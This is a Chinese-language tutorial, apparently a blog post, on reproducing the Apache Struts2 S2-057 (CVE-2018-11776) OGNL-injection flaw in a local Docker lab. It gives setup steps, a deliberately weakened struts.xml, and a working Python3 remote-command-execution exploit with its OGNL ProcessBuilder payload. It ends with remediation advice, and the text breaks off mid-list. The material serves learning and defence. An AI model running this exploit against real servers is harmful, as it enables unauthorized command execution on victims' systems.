文章

CVE-2018-11776 Struts2 S2-057 从零到一复现教程:原理、环境搭建、配置触发与命令执行验证

面向新手的 CVE-2018-11776 / Apache Struts2 S2-057 本地复现教程,包含漏洞背景、Struts2 namespace 与 redirectAction 原理、Docker 靶场搭建、弱配置触发、PoC 检测、命令执行验证、常见问题和修复建议。

CVE-2018-11776 Struts2 S2-057 从零到一复现教程:原理、环境搭建、配置触发与命令执行验证

免责声明:本文仅用于本地靶场学习、CTF 训练和已授权安全研究。请勿对公网、生产环境或任何未授权资产进行扫描、验证、利用。文中所有演示默认只针对本机 Docker 容器 127.0.0.1。本文不会讲反弹 shell、持久化、提权、横向移动等攻击后利用内容。

写在前面

CVE-2018-11776 是 Apache Struts2 的一个经典远程代码执行漏洞,Struts 官方公告编号为 S2-057。

很多新手在学习 Struts2 漏洞时,会先接触到 S2-045、S2-046、S2-048 等漏洞。相比这些漏洞,S2-057 的理解门槛稍高一点,因为它不是简单地把 payload 放在某个请求头或参数中,而是和 Struts2 的 namespace 选择机制、redirectAction 结果类型、OGNL 表达式求值 以及 错误配置组合 有关。

一句话概括:

在特定 Struts2 版本和特定配置组合下,攻击者可以把 OGNL 表达式放进 URL path 的 namespace 位置,Struts2 在处理 action 跳转时错误求值该表达式,最终可能导致远程命令执行。

本文会从零开始,尽量用新手能理解的方式讲清楚:

  1. Struts2 是什么;
  2. CVE-2018-11776 / S2-057 是什么;
  3. namespace、action、result、redirectAction 分别是什么;
  4. 为什么 URL path 里的表达式会被执行;
  5. 如何用 Docker 搭建本地靶场;
  6. 如何修改 struts.xml 制造漏洞触发条件;
  7. 如何用 PoC 验证 OGNL 求值;
  8. 如何验证容器内命令执行;
  9. 如何理解命令执行 payload 的每一段;
  10. 如何修复和排查。

目录


1. 漏洞简介

项目内容
CVE 编号CVE-2018-11776
Struts 公告编号S2-057
漏洞类型远程代码执行 / 远程命令执行
影响组件Apache Struts2
典型入口URL path 中的 namespace 部分
关键条件alwaysSelectFullNamespace 为 true,且 namespace / action / result 配置不完整
典型危害攻击者可在目标服务器上执行系统命令
官方修复版本Struts 2.3.35 或 Struts 2.5.17

S2-057 的关键点不是某个单独函数出错,而是一组条件叠加后导致的表达式注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
攻击者可控 URL path
        ↓
Struts2 把 path 的一部分当作 namespace
        ↓
配置项 alwaysSelectFullNamespace 为 true
        ↓
redirectAction 或 url tag 没有显式指定 namespace / action / value
        ↓
Struts2 在结果跳转过程中使用攻击者控制的 namespace
        ↓
namespace 中的 OGNL 表达式被求值
        ↓
造成 RCE

在本地复现实验中,我们会人为把 Struts2 showcase 应用改成弱配置,让漏洞稳定触发。


2. 新手术语速查

2.1 Apache Struts2

Struts2 是一个 Java Web MVC 框架。

可以简单理解为:

1
2
3
4
5
6
7
8
9
浏览器请求
    ↓
Struts2 根据 URL 找到对应 action
    ↓
action 执行业务逻辑
    ↓
result 决定返回哪个页面或跳转到哪个 action
    ↓
浏览器收到响应

例如用户访问:

1
/showcase.action

Struts2 会根据配置找到名为 showcase 的 action,然后返回相应页面。


2.2 Action

Action 是 Struts2 中处理请求的单位。

示例:

1
2
3
<action name="date" class="org.apache.struts2.showcase.DateAction" method="browse">
    <result name="success">/date.jsp</result>
</action>

这段配置的意思是:

1
2
3
4
5
6
7
当用户访问 date.action 时
    ↓
调用 DateAction 类的 browse 方法
    ↓
如果返回 success
    ↓
渲染 /date.jsp

2.3 Namespace

namespace 可以理解为 action 的分组路径。

例如:

1
2
3
4
5
<package name="employee" extends="default" namespace="/employee">
    <action name="list" class="xxx.EmployeeAction" method="list">
        <result>/empmanager/listEmployees.jsp</result>
    </action>
</package>

那么访问路径可能是:

1
/employee/list.action

其中:

1
2
3
/employee  是 namespace
list       是 action name
.action    是扩展名

如果 package 没有写 namespace,或者 namespace 是通配符,就容易让 Struts2 从请求 path 中推断 namespace。S2-057 正是和这个机制有关。


2.4 Result

action 执行完后,Struts2 要决定下一步做什么,这个下一步就由 result 决定。

常见 result 类型:

result 类型含义
普通 JSP result渲染某个 JSP 页面
redirect直接重定向到某个 URL
redirectAction重定向到另一个 action
chain转发到另一个 action 链

本漏洞常见触发点之一是 redirectAction。


2.5 redirectAction

示例:

1
2
3
4
5
<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

它的意思是:

1
2
3
4
5
访问 help.action
    ↓
Struts2 返回一个 302 重定向
    ↓
浏览器跳转到 date.action

如果这里没有显式写 namespace,Struts2 可能会沿用当前请求的 namespace。

当当前请求的 namespace 可控,并且里面被放入 OGNL 表达式时,就可能出问题。


2.6 OGNL

OGNL 全称是 Object-Graph Navigation Language,是 Struts2 中常用的表达式语言。

简单表达式:

1
${2+2}

如果被当成 OGNL 表达式求值,结果就是:

1
4

危险表达式可以进一步调用 Java 类、方法,甚至创建进程。

这也是很多 Struts2 RCE 漏洞的共同基础:

1
用户输入被当成 OGNL 表达式执行

3. 影响范围与触发条件

根据 Apache Struts 官方 S2-057 公告,受影响版本包括:

1
2
Struts 2.0.4 到 Struts 2.3.34
Struts 2.5.0 到 Struts 2.5.16

官方建议升级到:

1
2
Struts 2.3.35
Struts 2.5.17

但是注意:

并不是所有使用受影响版本的 Struts2 应用都会直接触发 S2-057。

通常还需要满足配置条件。

3.1 关键条件一:alwaysSelectFullNamespace 为 true

配置项如下:

1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

这个配置会让 Struts2 更倾向于从请求 URL 中选择完整 namespace。

如果 URL 是:

1
/${2+2}/help.action

Struts2 可能把:

1
/${2+2}

当成 namespace。


3.2 关键条件二:result 或 package 没有明确 namespace

例如下面这个 redirectAction 没有写 namespace:

1
2
3
4
5
<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

更安全的写法应该显式指定 namespace,例如:

1
2
3
4
5
6
<action name="help">
    <result type="redirectAction">
        <param name="namespace">/</param>
        <param name="actionName">date.action</param>
    </result>
</action>

3.3 关键条件三:攻击者能控制 URL path

攻击者构造:

1
/${2+2}/help.action

如果 Struts2 在 redirect 过程中求值了 ${2+2},响应的 Location 头里就可能出现:

1
/4/date.action

这说明服务端执行了表达式。


4. Struts2 基础:namespace、action、result

为了理解漏洞,我们先看一个正常 Struts2 配置片段。

1
2
3
4
5
6
7
8
9
<package name="default" extends="struts-default">
    <action name="showcase">
        <result>showcase.jsp</result>
    </action>

    <action name="date" class="org.apache.struts2.showcase.DateAction" method="browse">
        <result name="success">/date.jsp</result>
    </action>
</package>

这个配置中:

1
2
package name = default
namespace    = 没有显式设置

因为 package 没有显式设置 namespace,所以它属于比较宽松的默认配置。

访问:

1
/showcase.action

会匹配:

1
action name = showcase

访问:

1
/date.action

会匹配:

1
action name = date

现在我们增加一个 help action:

1
2
3
4
5
<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

访问:

1
/help.action

Struts2 会返回 302,让浏览器跳转到:

1
/date.action

这本身没什么问题。

但是如果访问的是:

1
/${2+2}/help.action

并且 alwaysSelectFullNamespace 为 true,Struts2 可能把:

1
/${2+2}

当成当前 namespace。

当 redirectAction 没有明确 namespace 时,跳转结果可能继承这个 namespace。

于是 Struts2 在生成重定向地址时会处理这个 namespace,并触发 OGNL 求值。

这就是漏洞链条的核心。


5. 漏洞原理:为什么 URL path 可以触发 OGNL

5.1 正常请求流程

正常访问:

1
http://127.0.0.1:32771/help.action

流程大致是:

1
2
3
4
5
6
7
8
9
10
11
12
13
Tomcat 接收请求
    ↓
Struts2 解析请求路径
    ↓
找到 help.action
    ↓
执行 help action
    ↓
result 类型是 redirectAction
    ↓
生成跳转地址 date.action
    ↓
返回 302 响应

响应里会有类似:

1
2
HTTP/1.1 302 Found
Location: /date.action

5.2 恶意 namespace 请求流程

构造请求:

1
http://127.0.0.1:32771/${2+2}/help.action

流程变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Tomcat 接收请求
    ↓
Struts2 解析请求路径
    ↓
把 /${2+2} 识别为 namespace
    ↓
找到 help.action
    ↓
help action 使用 redirectAction
    ↓
redirectAction 没有显式 namespace
    ↓
沿用当前 namespace:/${2+2}
    ↓
生成跳转地址时对 namespace 做表达式处理
    ↓
${2+2} 被求值为 4
    ↓
返回 302 响应,Location 包含 /4/date.action

如果只是 ${2+2},危害只是计算结果变成 4。

但如果表达式变成调用 Java 类和方法,就可能执行系统命令。


5.3 为什么这是 RCE

OGNL 不只是简单计算数学表达式,它可以访问对象、调用方法,甚至构造 Java 对象。

攻击者最终希望达到类似 Java 代码的效果:

1
2
3
String[] cmds = new String[] {"bash", "-c", "id"};
ProcessBuilder p = new ProcessBuilder(cmds);
Process process = p.start();

如果这段逻辑通过 OGNL 表达式被 Struts2 执行,就变成了远程命令执行。


6. 实验环境准备

本文使用本地 Docker 复现。

6.1 推荐环境

工具说明
Linux推荐 Ubuntu、Debian、Arch、Kali 等
Docker用于运行 Tomcat + Struts2 靶场
Git用于拉取 PoC 仓库
Python3用于运行检测脚本
curl用于手工观察 HTTP 响应

检查命令:

1
2
3
4
docker --version
git --version
python3 --version
curl --version

6.2 本文使用的 PoC 仓库

本文参考的仓库是:

1
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

仓库里包含:

1
2
3
4
5
Dockerfile
struts2-showcase-2.3.12.war
exploitS2-057-test.py
exploitS2-057-cmd.py
README.md

其中:

  • struts2-showcase-2.3.12.war 是用于演示的 Struts2 showcase 应用;
  • exploitS2-057-test.py 用于检测 OGNL 是否被求值;
  • exploitS2-057-cmd.py 是 Python2 写法的命令执行 PoC。

如果你的系统只有 Python3,可以把 Python2 脚本改成 Python3,后文会给出一个本地实验版。


7. 使用 Docker 搭建本地靶场

7.1 克隆仓库

1
2
git clone https://github.com/hook-s3c/CVE-2018-11776-Python-PoC.git poc
cd poc

查看文件:

1
ls -lh

你应该能看到类似:

1
2
3
4
5
Dockerfile
README.md
exploitS2-057-cmd.py
exploitS2-057-test.py
struts2-showcase-2.3.12.war

7.2 构建 Docker 镜像

1
docker build -t cve-2018-11776-lab .

这个镜像主要做了几件事:

  1. 基于 tomcat:7;
  2. 清空 Tomcat 默认 webapps;
  3. 把 struts2-showcase-2.3.12.war 放到 /usr/local/tomcat/webapps/ROOT.war;
  4. 暴露 8080 端口。

Dockerfile 内容大致如下:

1
2
3
4
5
6
FROM tomcat:7
RUN set -ex \
    && rm -rf /usr/local/tomcat/webapps/* \
    && chmod a+x /usr/local/tomcat/bin/*.sh
COPY struts2-showcase-2.3.12.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

7.3 启动容器

如果本机 8080 没被占用,可以使用:

1
docker run -d --name struts2-cve-2018-11776 -p 8080:8080 cve-2018-11776-lab

如果本机 8080 已经被占用,推荐映射到 32771:

1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab

本文后续默认使用:

1
http://127.0.0.1:32771

查看容器状态:

1
docker ps --filter name=struts2-cve-2018-11776

7.4 等待 WAR 包解压

Tomcat 启动后会自动解压 ROOT.war。

检查 struts.xml 是否已经出现:

1
docker exec struts2-cve-2018-11776 test -f /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

如果没有输出且退出码为 0,说明文件存在。

也可以查看:

1
docker exec struts2-cve-2018-11776 ls -l /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

7.5 浏览器访问

打开:

1
http://127.0.0.1:32771/showcase.action

如果看到 Struts2 Showcase 页面,说明基础环境启动成功。

也可以用 curl:

1
curl -i http://127.0.0.1:32771/showcase.action

响应状态应该是:

1
HTTP/1.1 200 OK

8. 修改 struts.xml 制造弱配置

默认 showcase 应用不一定满足 S2-057 的触发条件,所以需要按照 PoC 仓库 README 中的思路修改配置。

目标文件在容器内:

1
/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

8.1 备份原始配置

1
docker exec struts2-cve-2018-11776 cp /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml.bak

8.2 查看配置文件结构

1
docker exec struts2-cve-2018-11776 sed -n '1,160p' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

你会看到开头类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<struts>

    <constant name="struts.i18n.reload" value="false" />
    <constant name="struts.devMode" value="false" />
    <constant name="struts.configuration.xml.reload" value="false" />
    <constant name="struts.custom.i18n.resources" value="globalMessages" />
    <constant name="struts.action.extension" value="action,," />

    ...

    <package name="default" extends="struts-default">
        ...
    </package>

</struts>

8.3 添加 alwaysSelectFullNamespace

在下面这一行后面:

1
<constant name="struts.action.extension" value="action,," />

添加:

1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

修改后类似:

1
2
<constant name="struts.action.extension" value="action,," />
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

这个配置是触发 S2-057 的关键条件之一。


8.4 添加 help action

在默认 package 中,也就是:

1
<package name="default" extends="struts-default">

和它对应的:

1
</package>

之间,加入:

1
2
3
4
5
<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

注意这里故意没有写:

1
<param name="namespace">/</param>

这就是弱点所在。


8.5 使用命令自动打补丁

如果你不想手动编辑,可以在宿主机执行下面的命令自动修改容器内文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
docker exec struts2-cve-2018-11776 awk '
  /<constant name="struts.action.extension"/ {
    print
    print "    <constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" />"
    next
  }
  /<\/package>/ && !done {
    print "        <action name=\"help\">"
    print "            <result type=\"redirectAction\">"
    print "                <param name=\"actionName\">date.action</param>"
    print "            </result>"
    print "        </action>"
    done=1
  }
  { print }
' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml > /tmp/struts-cve-2018-11776.xml

docker cp /tmp/struts-cve-2018-11776.xml struts2-cve-2018-11776:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
rm -f /tmp/struts-cve-2018-11776.xml

检查是否修改成功:

1
docker exec struts2-cve-2018-11776 grep -n 'alwaysSelectFullNamespace\|name="help"' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

预期能看到类似:

1
2
16:    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
90:        <action name="help">

8.6 重启容器

修改配置后重启:

1
docker restart struts2-cve-2018-11776

等待几秒后测试页面:

1
curl -i http://127.0.0.1:32771/showcase.action

如果返回 200,说明应用正常。


9. 验证 OGNL 表达式求值

漏洞利用前,先验证一个最简单的表达式:

1
${2+2}

9.1 手工访问测试

可以用 curl 查看响应头:

1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'

如果漏洞触发,响应可能是 302,并且 Location 里出现:

1
/4/date.action

重点不是页面内容,而是响应头:

1
2
HTTP/1.1 302 Found
Location: /4/date.action

这说明:

1
${2+2} 被服务端求值成了 4

如果没有漏洞,Location 通常不会出现计算结果。


9.2 使用 exploitS2-057-test.py

PoC 仓库提供了检测脚本:

1
python3 poc/exploitS2-057-test.py http://127.0.0.1:32771/showcase.action

脚本会随机生成两个数字,例如:

1
2
19059
94562

然后构造:

1
/${19059+94562}/help.action

如果服务端把表达式算出来,结果是:

1
113621

脚本检查 302 响应头中的 Location 是否包含这个结果。

成功时输出类似:

1
2
testing the url for exploit; http://127.0.0.1:32771/${19059+94562}/help.action
URL http://127.0.0.1:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

这一步只证明 OGNL 表达式被执行,还不是完整命令执行。


9.3 检测脚本核心逻辑解释

脚本关键逻辑可以简化成:

1
2
3
4
5
6
7
8
9
10
r1 = random.randint(10000,99999)
r2 = random.randint(10000,99999)
r3 = r1 + r2

expr = '$' + '{' + str(r1) + '+' + str(r2) + '}'
urlTwo = scheme + '://' + netloc + '/' + expr + '/help.action'
res = requests.get(url=urlTwo, allow_redirects=False)

if res.status_code == 302 and str(r3) in res.headers.get('Location'):
    print('vulnerable')

为什么用随机数?

因为如果固定用 ${2+2},有些误判场景也可能出现 4。随机大数字可以降低误判概率。


10. 验证容器内命令执行

仓库中的 exploitS2-057-cmd.py 是 Python2 写法。如果你环境没有 Python2,运行会报错:

1
SyntaxError: Missing parentheses in call to 'print'

可以写一个 Python3 版本用于本地靶场验证。

10.1 Python3 本地实验版 PoC

在 poc/ 目录下创建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
cat > poc/exploitS2-057-cmd-py3.py <<'PY'
#!/usr/bin/env python3
import sys
import urllib.parse
import urllib.request
import http.client


def exploit(host, cmd):
    print(f"[Execute]: {cmd}")

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='%s')." % cmd.replace("'", "\\'")
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if ':' not in host:
        host = f"{host}:8080"

    encoded = urllib.parse.quote_plus(ognl_payload)
    path = encoded.replace('+', '%20').replace(' ', '%20').replace('%2F', '/')
    url = f"http://{host}/{path}/help.action"

    print(f"[Url]: {url}\n")

    try:
        with urllib.request.urlopen(url, timeout=15) as response:
            data = response.read()
    except http.client.IncompleteRead as e:
        data = e.partial

    print(data.decode('utf-8', errors='replace'))


if __name__ == '__main__':
    if len(sys.argv) < 3:
        sys.exit(f'Usage: {sys.argv[0]} <host:port> <cmd>')
    exploit(sys.argv[1], sys.argv[2])
PY

chmod +x poc/exploitS2-057-cmd-py3.py

这个脚本只用于本地实验。不要拿它测试未授权目标。


10.2 执行 id 命令

1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'id'

成功时输出类似:

1
2
3
4
[Execute]: id
[Url]: http://127.0.0.1:32771/很长的编码后payload/help.action

uid=0(root) gid=0(root) groups=0(root)

这里的 root 是 Docker 容器内部 root,不是宿主机 root。


10.3 执行 pwd 命令

1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'

可能输出:

1
/usr/local/tomcat

这说明命令是在 Tomcat 进程所在目录中执行的。


10.4 执行 whoami 命令

1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'whoami'

可能输出:

1
root

再次强调,这是容器内用户。


11. 命令执行 payload 逐段拆解

为了便于理解,把核心 OGNL payload 展开成伪格式:

1
2
3
4
5
6
7
8
9
10
11
12
${
  (#_memberAccess['allowStaticMethodAccess']=true).
  (#cmd='id').
  (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).
  (#process=#p.start()).
  (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
  (#ros.flush())
}

下面逐段解释。


11.1 外层表达式

1
${ ... }

$ 加花括号表示表达式。

在漏洞环境中,这个表达式被放在 URL namespace 位置:

1
/${payload}/help.action

Struts2 在生成 redirectAction 跳转地址时错误求值它。


11.2 开启静态方法访问

1
(#_memberAccess['allowStaticMethodAccess']=true)

作用是允许 OGNL 调用 Java 静态方法。

后面会用到:

1
2
3
@java.lang.System@getProperty(...)
@org.apache.struts2.ServletActionContext@getResponse()
@org.apache.commons.io.IOUtils@copy(...)

如果静态方法访问被限制,payload 可能无法继续。


11.3 保存要执行的命令

1
(#cmd='id')

这里把系统命令保存到 OGNL 变量 #cmd 中。

如果你执行:

1
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'

那么这一段就相当于:

1
#cmd = 'pwd'

11.4 判断操作系统类型

1
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))

等价于 Java 逻辑:

1
System.getProperty("os.name").toLowerCase().contains("win")

如果系统名包含 win,就认为是 Windows。

Docker 里的 Tomcat 通常是 Linux,所以这里一般为 false。


11.5 构造命令数组

1
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))

这是一个三元表达式。

如果是 Windows,命令数组是:

1
{'cmd.exe','/c',#cmd}

相当于:

cmd.exe /c id

如果是 Linux,命令数组是:

1
{'bash','-c',#cmd}

相当于:

1
bash -c id

本实验走的是 Linux 分支。


11.6 创建 ProcessBuilder

1
(#p=new java.lang.ProcessBuilder(#cmds))

等价于 Java:

1
ProcessBuilder p = new ProcessBuilder(cmds);

ProcessBuilder 是 Java 中用于创建系统进程的类。

这一步还没有真正执行命令,只是准备进程对象。


11.7 合并标准错误

1
(#p.redirectErrorStream(true))

等价于 Java:

1
p.redirectErrorStream(true);

作用:

1
把 stderr 合并到 stdout

这样命令如果报错,错误信息也能返回到 HTTP 响应里。


11.8 启动进程

1
(#process=#p.start())

等价于 Java:

1
Process process = p.start();

这一步是真正执行系统命令。

例如:

1
bash -c id

11.9 获取 HTTP 响应输出流

1
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))

等价于 Java:

1
OutputStream ros = ServletActionContext.getResponse().getOutputStream();

作用是拿到当前 HTTP response 的输出流。

攻击者希望把命令执行结果写回浏览器或 PoC 客户端,就需要这个输出流。


11.10 复制命令输出到 HTTP 响应

1
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))

等价于 Java:

1
IOUtils.copy(process.getInputStream(), ros);

process.getInputStream() 是命令执行结果。

ros 是 HTTP 响应输出流。

这一步相当于:

1
把命令输出写入 HTTP 响应

所以终端能看到:

1
uid=0(root) gid=0(root) groups=0(root)

11.11 刷新输出流

1
(#ros.flush())

作用是刷新响应流,确保输出返回给客户端。


11.12 为什么要 URL 编码

payload 中包含很多特殊字符,例如:

1
$ { } # @ ' " 空格 / , : ?

这些字符直接放进 URL 可能被浏览器、代理、服务器错误解析。

所以脚本会先进行 URL 编码。

例如:

原字符URL 编码
$%24
{%7B
}%7D
#%23
@%40
空格%20

最终请求路径会变得很长,例如:

1
/%24%7B%28%23_memberAccess...%7D/help.action

这不是乱码,而是浏览器和服务器都能识别的 URL 编码形式。


12. 从 HTTP 请求角度理解完整利用链

12.1 第一步:访问正常页面

1
curl -i http://127.0.0.1:32771/showcase.action

响应:

1
2
HTTP/1.1 200 OK
Content-Type: text/html;charset=ISO-8859-1

说明 Struts2 应用正常运行。


12.2 第二步:发送表达式检测请求

1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'

漏洞存在时,响应类似:

1
2
HTTP/1.1 302 Found
Location: /4/date.action

关键证据:

1
2+2 被算成 4

12.3 第三步:发送命令执行请求

PoC 构造的 URL 逻辑如下:

1
http://127.0.0.1:32771/编码后的OGNL命令执行表达式/help.action

服务端执行流程:

1
2
3
4
5
6
7
8
9
解析 namespace
    ↓
触发 OGNL 求值
    ↓
调用 ProcessBuilder
    ↓
执行 id
    ↓
把输出写入 HTTP response

客户端看到:

1
uid=0(root) gid=0(root) groups=0(root)

12.4 为什么响应可能出现 Response ended prematurely

有时使用 requests.get() 读取响应时,会出现类似:

1
ChunkedEncodingError: Response ended prematurely

原因是命令执行 payload 直接操作了 response 输出流,可能打断 Struts2/Tomcat 原本的响应流程,导致客户端认为 chunked 响应不完整。

解决方式:

  1. 使用 urllib.request 并捕获 http.client.IncompleteRead;
  2. 或者只读取已返回的 partial 数据;
  3. 不把这个现象误判为漏洞失败。

只要已经拿到命令输出,例如 uid=0(root),就说明命令执行成功。


13. 常见问题排查

13.1 访问页面失败

现象:

1
curl: Failed to connect to 127.0.0.1 port 32771

检查容器是否运行:

1
docker ps --filter name=struts2-cve-2018-11776

如果没有运行,启动:

1
docker start struts2-cve-2018-11776

如果容器不存在,重新运行:

1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab

13.2 端口被占用

现象:

1
Bind for 0.0.0.0:8080 failed: port is already allocated

查看端口:

1
ss -ltnp | grep ':8080'

换一个端口,例如 32771:

1
docker run -d --name struts2-cve-2018-11776 -p 32771:8080 cve-2018-11776-lab

访问时也要改成:

1
http://127.0.0.1:32771/showcase.action

13.3 struts.xml 不存在

Tomcat 刚启动时 WAR 包可能还没解压完成。

等待几秒再执行:

1
docker exec struts2-cve-2018-11776 ls /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

也可以看日志:

1
docker logs -f struts2-cve-2018-11776

看到 Tomcat started 之类的日志后再操作。


13.4 检测脚本显示 not vulnerable

可能原因:

  1. 没有添加 alwaysSelectFullNamespace=true;
  2. 没有添加 help action;
  3. 添加的位置不在默认 package 内;
  4. 修改后没有重启 Tomcat;
  5. 访问端口写错;
  6. 请求被浏览器或代理改写。

建议检查:

1
docker exec struts2-cve-2018-11776 grep -n 'alwaysSelectFullNamespace\|name="help"' /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

然后重启:

1
docker restart struts2-cve-2018-11776

再测试:

1
python3 poc/exploitS2-057-test.py http://127.0.0.1:32771/showcase.action

13.5 Python2 脚本运行失败

仓库原始命令执行 PoC 是 Python2 风格。

如果你用 Python3 运行,可能报:

1
SyntaxError: Missing parentheses in call to 'print'

解决方法:

  1. 安装 Python2 后用 Python2 运行;
  2. 或使用本文提供的 Python3 版本。

推荐新手使用 Python3 版本,因为当前大多数系统默认不再安装 Python2。


13.6 curl 请求中表达式没有原样发送

curl 有时会对 URL 做规范化处理。

建议加:

1
--path-as-is

例如:

1
curl -i --path-as-is 'http://127.0.0.1:32771/${2+2}/help.action'

同时建议用单引号包住 URL,避免 shell 对特殊字符做解释。


13.7 命令执行没有输出

可能原因:

  1. 命令本身没有输出;
  2. 命令不存在;
  3. payload 编码被改坏;
  4. 目标不是 Linux,但走了 Linux 命令分支;
  5. 响应流中断导致客户端没完整读取。

建议先测试简单命令:

1
2
3
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'id'
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'pwd'
python3 poc/exploitS2-057-cmd-py3.py 127.0.0.1:32771 'whoami'

不要一开始就测试复杂命令。


14. 修复建议

14.1 升级 Struts2

官方推荐升级到:

1
2
Struts 2.3.35
Struts 2.5.17

这是最重要的修复方式。

如果项目仍在使用更老版本,例如:

1
2
3
4
5
2.3.12
2.3.20
2.3.31
2.5.10
2.5.16

应优先评估升级。


14.2 不要开启不必要的 alwaysSelectFullNamespace

检查配置:

1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

如果业务不需要,应关闭或删除。

更安全的配置:

1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />

14.3 明确设置 package namespace

不推荐 package 缺省 namespace 或使用过于宽松的通配符 namespace。

较安全的做法:

1
2
3
<package name="default" extends="struts-default" namespace="/">
    ...
</package>

或者按业务模块设置明确 namespace:

1
2
3
<package name="employee" extends="struts-default" namespace="/employee">
    ...
</package>

14.4 redirectAction 显式设置 namespace

弱配置:

1
2
3
4
5
<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

更安全的配置:

1
2
3
4
5
6
<action name="help">
    <result type="redirectAction">
        <param name="namespace">/</param>
        <param name="actionName">date.action</param>
    </result>
</action>

核心原则:

1
不要让 redirectAction 继承用户可控 namespace

14.5 检查 JSP 中的 url tag

官方公告还提到一种场景:

1
2
url tag 没有设置 value 和 action
同时上层 package 没有 namespace 或使用 wildcard namespace

因此要排查 JSP 中类似 Struts 标签的使用方式,确保必要属性明确设置。


14.6 加强运行时权限

即使 Web 层出现 RCE,也要降低影响面:

  1. Tomcat 不要以 root 运行;
  2. 容器不要挂载敏感宿主机目录;
  3. 容器使用只读文件系统或最小权限;
  4. 限制出网;
  5. 配置 WAF 或网关拦截明显 OGNL payload;
  6. 对异常 302、URL 中 ${、%24%7B、_memberAccess 等特征做日志告警。

注意:WAF 只能缓解,不能替代升级修复。


15. 清理实验环境

停止并删除容器:

1
docker rm -f struts2-cve-2018-11776

可选删除镜像:

1
docker rmi cve-2018-11776-lab

可选删除 PoC 目录:

1
rm -rf poc

如果你还要继续学习,建议保留 poc/,下次可以直接启动。


16. 总结

CVE-2018-11776 / S2-057 的核心不是单纯的某个参数注入,而是 Struts2 的几个机制组合后产生的表达式注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
URL path 可控 namespace
        ↓
alwaysSelectFullNamespace=true
        ↓
redirectAction 或 url tag 配置不完整
        ↓
Struts2 在跳转过程中使用攻击者控制的 namespace
        ↓
namespace 中的 OGNL 表达式被求值
        ↓
调用 Java ProcessBuilder
        ↓
命令执行

对新手来说,理解这个漏洞最重要的是分清楚三层:

  1. 路由层:Struts2 如何根据 URL 找 namespace 和 action;
  2. 配置层:为什么缺省 namespace 和 redirectAction 会引入风险;
  3. 表达式层:为什么 OGNL 一旦可控就能从简单计算发展到命令执行。

本地复现时,推荐按下面顺序验证:

1
2
3
4
5
6
1. 启动 Struts2 showcase
2. 修改 struts.xml 弱配置
